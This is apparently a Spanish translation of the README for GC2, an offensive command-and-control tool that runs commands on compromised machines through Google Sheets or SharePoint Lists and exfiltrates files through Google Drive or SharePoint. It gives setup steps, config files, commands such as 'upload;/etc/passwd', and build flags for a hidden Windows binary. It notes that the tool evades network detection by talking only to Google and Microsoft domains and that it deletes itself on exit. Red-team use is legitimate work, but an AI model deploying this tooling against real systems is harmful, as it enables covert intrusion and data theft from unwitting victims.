
GC2 es una aplicación de Comando y Control que permite a un atacante ejecutar comandos en la máquina objetivo utilizando Google Sheets o Microsoft SharePoint List y extraer archivos mediante Google Drive o Microsoft SharePoint Document.
GC2 (Google Command and Control) es una aplicación de comando y control que permite a un atacante ejecutar comandos en la máquina objetivo utilizando Google Sheet o Microsoft SharePoint List y exfiltrar archivos usando Google Drive o Microsoft SharePoint Document.
Este proyecto ha sido desarrollado para proporcionar un comando y control que no requiere ninguna configuración particular (como: un dominio personalizado, VPS, CDN, ...) durante actividades de Red Teaming.
Además, el programa interactuará únicamente con los dominios de Google y Microsoft (como *.google.com) para hacer más difícil la detección en la red.
Una Google Sheet será creada automáticamente por el C2. Una vez creada, puedes interactuar con el sistema comprometido como se muestra a continuación.
Una Microsoft SharePoint List será creada automáticamente por el C2. Una vez creada, puedes interactuar con el sistema comprometido como se muestra a continuación.
Se reserva un comando especial para exfiltar archivos del sistema objetivo.
From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd
Nota: los archivos con el mismo nombre se sobrescriben automáticamente.
Se reserva un comando especial para descargar archivos al sistema objetivo.
From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt
Nota: Los archivos deben guardarse en la carpeta raíz de SharePoint, normalmente "Documents"
From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt
Al enviar el comando exit, el C2 se eliminará y se borrará a sí mismo del sistema objetivo.
PS: From os documentation: Si se usó un enlace simbólico para iniciar el proceso, dependiendo del sistema operativo, el resultado podría ser el enlace simbólico o la ruta a la que apuntaba. En este caso, el enlace simbólico se elimina.
Este C2 soporta tanto servicios de Google (Google Sheet + Google Drive) como de Microsoft (SharePoint Lists + SharePoint Document). Para usar el C2 necesitas configurar tanto la configuración local como la de la nube.
Crea una nueva "cuenta de servicio" de Google
Crea una nueva "cuenta de servicio" de Google usando https://console.cloud.google.com/, crea un archivo de clave .json para la cuenta de servicio.
Habilitar Google Sheet API y Google Drive API
Habilita Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api y Google Sheet API https://developers.google.com/sheets/api/quickstart/go.
Configurar Google Sheet y Google Drive
Crea una nueva Google Sheet y compártela (como Editor) con la cuenta de servicio (usando su correo electrónico).
Crea una nueva carpeta de Google Drive y compártela (como Editor) con la cuenta de servicio (usando su correo electrónico).
Para interactuar con los servicios de Microsoft necesitarás primero una suscripción Business (puedes obtener una gratis durante los primeros 30 días).
Crear una aplicación de Azure
Crea una nueva aplicación de Azure como se describe aquí https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http
Después de crear la nueva aplicación, habilita las siguientes Graph APIs:
Descargar el C2
El C2 se puede clonar directamente desde GitHub:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Configurar el C2
Para configurar el C2 necesitas modificar el archivo cmd/options.yml. El C2 soporta tanto servicios de Google como de Microsoft, también es posible mezclarlos.
Only Google services
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Tu clave de cuenta de servicio de Google debe ser escapada antes de pegarla en el archivo de configuración. Puedes usar el siguiente comando para escaparla:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
Only Microsoft services
CommandService: "Microsoft" # Microsoft SharePoint List will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
La mayoría de los errores se pueden detectar estableciendo el flag verbose a true. Por defecto, el C2 no genera ninguna salida ni información de error.
El propietario de este proyecto no es responsable por ningún uso ilegal de este programa.
Este es un proyecto de código abierto destinado a ser utilizado con autorización para evaluar la postura de seguridad y con fines de investigación.
El usuario final es el único responsable de sus acciones y decisiones. El uso de este proyecto es bajo su propio riesgo. El propietario de este proyecto no acepta ninguna responsabilidad por cualquier pérdida o daño causado por el uso de este proyecto.
Noticias que mencionan malware usando el mismo concepto:
Mixing Google and Microsoft services
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Compilar el ejecutable
Algunos ejemplos de cómo compilar de forma cruzada el C2 para diferentes SO y arquitecturas.
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
Ejecutar
Después de compilar, ejecútalo.
./gc2-sheet
El beacon creará automáticamente una nueva Google Sheet o Microsoft SharePoint List según tu configuración.